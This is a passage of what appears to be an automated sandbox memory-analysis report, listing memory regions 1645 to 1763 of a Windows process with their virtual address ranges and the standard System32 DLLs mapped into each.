(normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1645 start_va = 0x7fef6d90000 end_va = 0x7fef6e13fff entry_point = 0x7fef6d90000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1646 start_va = 0x7fef6e20000 end_va = 0x7fef6e44fff entry_point = 0x7fef6e20000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1647 start_va = 0x7fef6e50000 end_va = 0x7fef6e8cfff entry_point = 0x7fef6e50000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1648 start_va = 0x7fef6e90000 end_va = 0x7fef6ea5fff entry_point = 0x7fef6e90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1649 start_va = 0x7fef6eb0000 end_va = 0x7fef6f6bfff entry_point = 0x7fef6eb0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1650 start_va = 0x7fef6f70000 end_va = 0x7fef6fe2fff entry_point = 0x7fef6f70000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1651 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1652 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1653 start_va = 0x7fef7040000 end_va = 0x7fef70aefff entry_point = 0x7fef7040000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1654 start_va = 0x7fef70b0000 end_va = 0x7fef71defff entry_point = 0x7fef70b0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1655 start_va = 0x7fef71e0000 end_va = 0x7fef7226fff entry_point = 0x7fef71e0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1656 start_va = 0x7fef7230000 end_va = 0x7fef7271fff entry_point = 0x7fef7230000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1657 start_va = 0x7fef7280000 end_va = 0x7fef7311fff entry_point = 0x7fef7280000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1658 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1659 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1660 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1661 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1662 start_va = 0x7fef7520000 end_va = 0x7fef755ffff entry_point = 0x7fef7520000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1663 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1664 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1665 start_va = 0x7fef7bb0000 end_va = 0x7fef7bb8fff entry_point = 0x7fef7bb0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1666 start_va = 0x7fef8ac0000 end_va = 0x7fef8badfff entry_point = 0x7fef8ac0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1667 start_va = 0x7fef8f50000 end_va = 0x7fef8f64fff entry_point = 0x7fef8f50000 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1668 start_va = 0x7fefaa20000 end_va = 0x7fefaa96fff entry_point = 0x7fefaa20000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1669 start_va = 0x7fefab80000 end_va = 0x7fefab89fff entry_point = 0x7fefab80000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1670 start_va = 0x7fefab90000 end_va = 0x7fefaca1fff entry_point = 0x7fefab90000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1671 start_va = 0x7fefacb0000 end_va = 0x7fefacbefff entry_point = 0x7fefacb0000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1672 start_va = 0x7fefacc0000 end_va = 0x7fefacc8fff entry_point = 0x7fefacc0000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1673 start_va = 0x7fefacd0000 end_va = 0x7fefacd8fff entry_point = 0x7fefacd0000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1674 start_va = 0x7feface0000 end_va = 0x7fefad35fff entry_point = 0x7feface0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1675 start_va = 0x7fefad40000 end_va = 0x7fefad9dfff entry_point = 0x7fefad40000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1676 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1677 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1678 start_va = 0x7fefadf0000 end_va = 0x7fefae42fff entry_point = 0x7fefadf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1679 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1680 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1681 start_va = 0x7fefafb0000 end_va = 0x7fefafc3fff entry_point = 0x7fefafb0000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1682 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1683 start_va = 0x7fefb040000 end_va = 0x7fefb04afff entry_point = 0x7fefb040000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1684 start_va = 0x7fefb050000 end_va = 0x7fefb05bfff entry_point = 0x7fefb050000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1685 start_va = 0x7fefb060000 end_va = 0x7fefb06ffff entry_point = 0x7fefb060000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1686 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1687 start_va = 0x7fefb090000 end_va = 0x7fefb0c6fff entry_point = 0x7fefb090000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1688 start_va = 0x7fefb0d0000 end_va = 0x7fefb0e4fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1689 start_va = 0x7fefb0f0000 end_va = 0x7fefb1b1fff entry_point = 0x7fefb0f0000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1690 start_va = 0x7fefb410000 end_va = 0x7fefb42cfff entry_point = 0x7fefb410000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1691 start_va = 0x7fefb430000 end_va = 0x7fefb438fff entry_point = 0x7fefb430000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1692 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1693 start_va = 0x7fefb670000 end_va = 0x7fefb680fff entry_point = 0x7fefb670000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1694 start_va = 0x7fefb700000 end_va = 0x7fefb70bfff entry_point = 0x7fefb700000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1695 start_va = 0x7fefb710000 end_va = 0x7fefb751fff entry_point = 0x7fefb710000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1696 start_va = 0x7fefb760000 end_va = 0x7fefb799fff entry_point = 0x7fefb760000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1697 start_va = 0x7fefb7a0000 end_va = 0x7fefb7b9fff entry_point = 0x7fefb7a0000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1698 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1699 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1700 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1701 start_va = 0x7fefb810000 end_va = 0x7fefb825fff entry_point = 0x7fefb810000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1702 start_va = 0x7fefb830000 end_va = 0x7fefb837fff entry_point = 0x7fefb830000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1703 start_va = 0x7fefb840000 end_va = 0x7fefb84efff entry_point = 0x7fefb840000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1704 start_va = 0x7fefb850000 end_va = 0x7fefb868fff entry_point = 0x7fefb850000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1705 start_va = 0x7fefb870000 end_va = 0x7fefb8bffff entry_point = 0x7fefb870000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1706 start_va = 0x7fefb8c0000 end_va = 0x7fefb933fff entry_point = 0x7fefb8c0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1707 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1708 start_va = 0x7fefb960000 end_va = 0x7fefb967fff entry_point = 0x7fefb960000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1709 start_va = 0x7fefbaa0000 end_va = 0x7fefbad4fff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1710 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1711 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1712 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1713 start_va = 0x7fefc0f0000 end_va = 0x7fefc2e3fff entry_point = 0x7fefc0f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1714 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1715 start_va = 0x7fefc790000 end_va = 0x7fefc84afff entry_point = 0x7fefc790000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1716 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1717 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1718 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1719 start_va = 0x7fefc980000 end_va = 0x7fefc991fff entry_point = 0x7fefc980000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1720 start_va = 0x7fefc9a0000 end_va = 0x7fefc9befff entry_point = 0x7fefc9a0000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1721 start_va = 0x7fefca70000 end_va = 0x7fefcaa8fff entry_point = 0x7fefca70000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1722 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1723 start_va = 0x7fefcac0000 end_va = 0x7fefcaccfff entry_point = 0x7fefcac0000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1724 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1725 start_va = 0x7fefcca0000 end_va = 0x7fefcccffff entry_point = 0x7fefcca0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1726 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1727 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1728 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1729 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1730 start_va = 0x7fefcfc0000 end_va = 0x7fefcff1fff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1731 start_va = 0x7fefd010000 end_va = 0x7fefd019fff entry_point = 0x7fefd010000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1732 start_va = 0x7fefd0a0000 end_va = 0x7fefd0cefff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1733 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1734 start_va = 0x7fefd150000 end_va = 0x7fefd163fff entry_point = 0x7fefd150000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1735 start_va = 0x7fefd3b0000 end_va = 0x7fefd3d2fff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1736 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1737 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1738 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1739 start_va = 0x7fefd4c0000 end_va = 0x7fefd550fff entry_point = 0x7fefd4c0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1740 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1741 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1742 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1743 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1744 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1745 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1746 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f9fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1747 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1748 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1749 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1750 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1751 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1752 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1753 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1754 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1755 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1756 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1757 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1758 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1759 start_va = 0x7fefe360000 end_va = 0x7feff0e7fff entry_point = 0x7fefe360000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1760 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1761 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1762 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1763 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = 